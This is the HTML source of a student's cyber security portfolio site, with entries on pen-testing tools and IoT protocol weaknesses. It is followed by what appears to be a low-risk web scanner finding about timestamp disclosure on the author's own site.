Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 083845791Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 166584919, which evaluates to: 1975-04-13 02:35:19
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> 